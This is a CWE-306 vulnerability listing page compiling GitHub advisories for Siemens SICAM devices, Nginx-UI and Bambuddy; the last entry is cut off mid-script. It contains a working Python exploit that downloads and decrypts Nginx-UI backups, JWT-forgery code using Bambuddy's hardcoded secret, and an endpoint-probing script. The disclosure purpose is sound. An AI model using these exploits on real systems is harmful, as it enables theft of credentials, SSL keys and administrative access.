CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3467 vulnerabilities reference this CWE, most recent first.
GHSA-G9J3-3283-G3GQ
Vulnerability from github – Published: 2022-05-21 00:01 – Updated: 2022-06-03 00:01A vulnerability has been identified in SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00). Affected devices allow unauthenticated access to the web interface configuration area. This could allow an attacker to extract internal configuration details or to reconfigure network settings. However, the reconfigured settings cannot be activated unless the role of an authenticated administrator user.
{
"affected": [],
"aliases": [
"CVE-2022-29877"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-20T13:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00). Affected devices allow unauthenticated access to the web interface configuration area. This could allow an attacker to extract internal configuration details or to reconfigure network settings. However, the reconfigured settings cannot be activated unless the role of an authenticated administrator user.",
"id": "GHSA-g9j3-3283-g3gq",
"modified": "2022-06-03T00:01:49Z",
"published": "2022-05-21T00:01:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29877"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-165073.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G9W5-QFFC-6762
Vulnerability from github – Published: 2026-03-05 18:26 – Updated: 2026-03-05 22:37Summary
The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.
Vulnerability Details
| Field | Value |
|---|---|
| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |
| Affected File | api/backup/router.go |
| Affected Function | CreateBackup (lines 8-11 in router, implementation in api/backup/backup.go:13-38) |
| Secondary File | internal/backup/backup.go |
| CVSS 3.1 | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Root Cause
The vulnerability exists due to two critical security flaws:
1. Missing Authentication on /api/backup Endpoint
In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:
func InitRouter(r *gin.RouterGroup) {
r.GET("/backup", CreateBackup) // No authentication required
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware
}
For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.
2. Encryption Keys Disclosed in HTTP Response Headers
In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:
func CreateBackup(c *gin.Context) {
result, err := backup.Backup()
if err != nil {
cosy.ErrHandler(c, err)
return
}
// Concatenate Key and IV
securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header
// ...
c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone
// Send file content
http.ServeContent(c.Writer, c.Request, fileName, modTime, reader)
}
The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.
3. Backup Contents
The backup archive (created in internal/backup/backup.go) contains:
// Files included in backup:
- nginx-ui.zip (encrypted)
└── database.db // User credentials, session tokens
└── app.ini // Configuration with secrets
└── server.key/cert // SSL certificates
- nginx.zip (encrypted)
└── nginx.conf // Nginx configuration
└── sites-enabled/* // Virtual host configs
└── ssl/* // SSL private keys
- hash_info.txt (encrypted)
└── SHA-256 hashes for integrity verification
All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.
Proof of Concept
Python script
#!/usr/bin/env python3
"""
POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security
Usage:
python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
"""
import argparse
import base64
import os
import sys
import urllib.parse
import urllib.request
import zipfile
from io import BytesIO
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
except ImportError:
print("Error: pycryptodome required for decryption")
print("Install with: pip install pycryptodome")
sys.exit(1)
def _parse_keys(hdr_val: str):
"""
Parse X-Backup-Security header format: "base64_key:base64_iv"
Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
"""
v = (hdr_val or "").strip()
# Format is: key:iv (both base64 encoded)
if ":" in v:
parts = v.split(":", 1)
if len(parts) == 2:
return parts[0].strip(), parts[1].strip()
return None, None
def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
"""Decrypt using AES-256-CBC with PKCS#7 padding"""
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
if len(key) != 32:
raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)")
if len(iv) != 16:
raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_data)
return unpad(decrypted, AES.block_size)
def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):
"""Extract and decrypt the backup archive"""
print(f"\n[*] Extracting encrypted backup to {output_dir}")
os.makedirs(output_dir, exist_ok=True)
# Extract the main ZIP (contains encrypted files)
with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:
print(f"[*] Main archive contains: {main_zip.namelist()}")
main_zip.extractall(output_dir)
# Decrypt each file
encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]
for filename in encrypted_files:
filepath = os.path.join(output_dir, filename)
if not os.path.exists(filepath):
print(f"[!] Warning: {filename} not found")
continue
print(f"[*] Decrypting {filename}...")
with open(filepath, "rb") as f:
encrypted = f.read()
try:
decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)
# Write decrypted file
decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted"
with open(decrypted_path, "wb") as f:
f.write(decrypted)
print(f" → Saved to {decrypted_path} ({len(decrypted)} bytes)")
# If it's a ZIP, extract it
if filename.endswith(".zip"):
extract_dir = os.path.join(output_dir, filename.replace(".zip", ""))
os.makedirs(extract_dir, exist_ok=True)
with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:
inner_zip.extractall(extract_dir)
print(f" → Extracted {len(inner_zip.namelist())} files to {extract_dir}")
except Exception as e:
print(f" ✗ Failed to decrypt {filename}: {e}")
# Show hash info
hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted")
if os.path.exists(hash_info_path):
print(f"\n[*] Hash info:")
with open(hash_info_path, "r") as f:
print(f.read())
def main():
ap = argparse.ArgumentParser(
description="Nginx UI - Unauthenticated backup download with key disclosure"
)
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup")
ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download")
ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files")
args = ap.parse_args()
url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")
# Unauthenticated request to the backup endpoint
req = urllib.request.Request(url, method="GET")
try:
with urllib.request.urlopen(req, timeout=20) as resp:
hdr = resp.headers.get("X-Backup-Security", "")
key, iv = _parse_keys(hdr)
data = resp.read()
except urllib.error.HTTPError as e:
print(f"[!] HTTP Error {e.code}: {e.reason}")
sys.exit(1)
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
with open(args.out, "wb") as f:
f.write(data)
# Key/IV disclosure in response header enables decryption of the downloaded backup
print(f"\nX-Backup-Security: {hdr}")
print(f"Parsed AES-256 key: {key}")
print(f"Parsed AES IV : {iv}")
if key and iv:
# Verify key/IV lengths
try:
key_bytes = base64.b64decode(key)
iv_bytes = base64.b64decode(iv)
print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)")
print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)")
except Exception as e:
print(f"[!] Error decoding keys: {e}")
sys.exit(1)
if args.decrypt:
try:
extract_backup(args.out, key, iv, args.extract_dir)
except Exception as e:
print(f"\n[!] Decryption failed: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
else:
print("\n[!] Failed to parse encryption keys from X-Backup-Security header")
print(f" Header value: {hdr}")
if __name__ == "__main__":
main()
# Download and decrypt backup (no authentication required)
# pip install pycryptodome
python poc.py --target http://victim:9000 --decrypt
X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==
Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=
Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==
[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)
→ Extracted 17 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5
nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905
timestamp: 20260129-122110
version: 2.3.2
HTTP Request (Raw)
GET /api/backup HTTP/1.1
Host: victim:9000
No authentication required - this request will succeed and return:
- Encrypted backup as ZIP file
- Encryption keys in X-Backup-Security header
Example Response
HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20260129-120000.zip
X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
[Binary ZIP data]
The X-Backup-Security header contains:
- Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key)
- IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)
Resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27944"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-311"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T18:26:41Z",
"nvd_published_at": "2026-03-05T19:16:05Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup) // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup) // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n \u2514\u2500\u2500 database.db // User credentials, session tokens\n \u2514\u2500\u2500 app.ini // Configuration with secrets\n \u2514\u2500\u2500 server.key/cert // SSL certificates\n\n- nginx.zip (encrypted)\n \u2514\u2500\u2500 nginx.conf // Nginx configuration\n \u2514\u2500\u2500 sites-enabled/* // Virtual host configs\n \u2514\u2500\u2500 ssl/* // SSL private keys\n\n- hash_info.txt (encrypted)\n \u2514\u2500\u2500 SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n from Crypto.Cipher import AES\n from Crypto.Util.Padding import unpad\nexcept ImportError:\n print(\"Error: pycryptodome required for decryption\")\n print(\"Install with: pip install pycryptodome\")\n sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n \"\"\"\n Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n \"\"\"\n v = (hdr_val or \"\").strip()\n\n # Format is: key:iv (both base64 encoded)\n if \":\" in v:\n parts = v.split(\":\", 1)\n if len(parts) == 2:\n return parts[0].strip(), parts[1].strip()\n\n return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n\n if len(key) != 32:\n raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n if len(iv) != 16:\n raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n cipher = AES.new(key, AES.MODE_CBC, iv)\n decrypted = cipher.decrypt(encrypted_data)\n return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n \"\"\"Extract and decrypt the backup archive\"\"\"\n print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n os.makedirs(output_dir, exist_ok=True)\n\n # Extract the main ZIP (contains encrypted files)\n with zipfile.ZipFile(encrypted_zip_path, \u0027r\u0027) as main_zip:\n print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n main_zip.extractall(output_dir)\n\n # Decrypt each file\n encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n for filename in encrypted_files:\n filepath = os.path.join(output_dir, filename)\n if not os.path.exists(filepath):\n print(f\"[!] Warning: {filename} not found\")\n continue\n\n print(f\"[*] Decrypting {filename}...\")\n\n with open(filepath, \"rb\") as f:\n encrypted = f.read()\n\n try:\n decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n # Write decrypted file\n decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n with open(decrypted_path, \"wb\") as f:\n f.write(decrypted)\n\n print(f\" \u2192 Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n # If it\u0027s a ZIP, extract it\n if filename.endswith(\".zip\"):\n extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n os.makedirs(extract_dir, exist_ok=True)\n with zipfile.ZipFile(BytesIO(decrypted), \u0027r\u0027) as inner_zip:\n inner_zip.extractall(extract_dir)\n print(f\" \u2192 Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n except Exception as e:\n print(f\" \u2717 Failed to decrypt {filename}: {e}\")\n\n # Show hash info\n hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n if os.path.exists(hash_info_path):\n print(f\"\\n[*] Hash info:\")\n with open(hash_info_path, \"r\") as f:\n print(f.read())\n\ndef main():\n ap = argparse.ArgumentParser(\n description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n )\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n args = ap.parse_args()\n\n url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n # Unauthenticated request to the backup endpoint\n req = urllib.request.Request(url, method=\"GET\")\n\n try:\n with urllib.request.urlopen(req, timeout=20) as resp:\n hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n key, iv = _parse_keys(hdr)\n data = resp.read()\n except urllib.error.HTTPError as e:\n print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n sys.exit(1)\n except Exception as e:\n print(f\"[!] Error: {e}\")\n sys.exit(1)\n\n with open(args.out, \"wb\") as f:\n f.write(data)\n\n # Key/IV disclosure in response header enables decryption of the downloaded backup\n print(f\"\\nX-Backup-Security: {hdr}\")\n print(f\"Parsed AES-256 key: {key}\")\n print(f\"Parsed AES IV : {iv}\")\n\n if key and iv:\n # Verify key/IV lengths\n try:\n key_bytes = base64.b64decode(key)\n iv_bytes = base64.b64decode(iv)\n print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 \u2713)\")\n print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size \u2713)\")\n except Exception as e:\n print(f\"[!] Error decoding keys: {e}\")\n sys.exit(1)\n\n if args.decrypt:\n try:\n extract_backup(args.out, key, iv, args.extract_dir)\n\n except Exception as e:\n print(f\"\\n[!] Decryption failed: {e}\")\n import traceback\n traceback.print_exc()\n sys.exit(1)\n else:\n print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n print(f\" Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 \u00e2\u0153\u201c)\n[*] IV length : 16 bytes (AES block size \u00e2\u0153\u201c)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: [\u0027hash_info.txt\u0027, \u0027nginx-ui.zip\u0027, \u0027nginx.zip\u0027]\n[*] Decrypting hash_info.txt...\n \u00e2\u2020\u2019 Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n \u00e2\u2020\u2019 Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n \u00e2\u2020\u2019 Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n \u00e2\u2020\u2019 Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n \u00e2\u2020\u2019 Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n\u003cimg width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" /\u003e\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
"id": "GHSA-g9w5-qffc-6762",
"modified": "2026-03-05T22:37:19Z",
"published": "2026-03-05T18:26:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
},
{
"type": "WEB",
"url": "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
},
{
"type": "WEB",
"url": "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure"
}
GHSA-GC24-PX2R-5QMF
Vulnerability from github – Published: 2026-02-02 21:21 – Updated: 2026-02-06 21:38Summary
- A hardcoded secret key used for signing JWTs is checked into source code
- ManyAPI routes do not check authentication
Details
I am using the publicly available docker image at ghcr.io/maziggy/bambuddy
1. Hardcoded JWT Secret Key
https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28
Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this keyAny attacker can: 1. Forge valid JWT tokens for any user 2. Bypass authentication entirely 3. Gain full administrative access to any Bambuddy instance using the default key
Steps to Reproduce:
- Run an instance of BamBuddy
- Create admin user
- Forge and use JWT:
import jwt
import requests
token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
2. Most API Routes do not check Auth
While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
Full Script and Output
Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.
Script to test GET endpoints with forged JWT and without any auth#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.
Tests all GET endpoints to identify which are accessible without authentication.
"""
import requests
import jwt
# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"
# All GET endpoints organized by router
ENDPOINTS = {
"system": [
"/system/info",
],
"auth": [
"/auth/status",
"/auth/me",
],
"users": [
"/users",
"/users/1",
"/users/1/items-count",
],
"groups": [
"/groups",
"/groups/permissions",
"/groups/1",
],
"settings": [
"/settings",
"/settings/check-ffmpeg",
"/settings/spoolman",
"/settings/backup",
"/settings/virtual-printer/models",
"/settings/virtual-printer",
"/settings/mqtt/status",
],
"printers": [
"/printers/",
"/printers/usb-cameras",
"/printers/1",
"/printers/1/status",
"/printers/1/current-print-user",
"/printers/1/cover",
"/printers/1/files",
"/printers/1/storage",
"/printers/1/logging",
"/printers/1/slot-presets",
"/printers/1/slot-presets/1/1",
"/printers/1/print/objects",
"/printers/1/runtime-debug",
"/printers/1/camera/status",
"/printers/1/camera/test",
"/printers/1/camera/plate-detection/status",
"/printers/1/camera/plate-detection/references",
"/printers/1/kprofiles/",
"/printers/1/kprofiles/notes",
],
"archives": [
"/archives/",
"/archives/search",
"/archives/compare",
"/archives/analysis/failures",
"/archives/stats",
"/archives/tags",
"/archives/1",
"/archives/1/similar",
"/archives/1/duplicates",
"/archives/1/capabilities",
"/archives/1/gcode",
"/archives/1/plates",
"/archives/1/filament-requirements",
"/archives/1/project-page",
"/archives/1/source",
],
"filaments": [
"/filaments/",
"/filaments/1",
"/filaments/by-type/pla",
],
"cloud": [
"/cloud/status",
"/cloud/settings",
"/cloud/settings/1",
"/cloud/devices",
"/cloud/firmware-updates",
"/cloud/fields",
"/cloud/fields/print",
],
"queue": [
"/queue/",
"/queue/1",
],
"notifications": [
"/notifications/",
"/notifications/logs",
"/notifications/logs/stats",
"/notifications/1",
],
"notification_templates": [
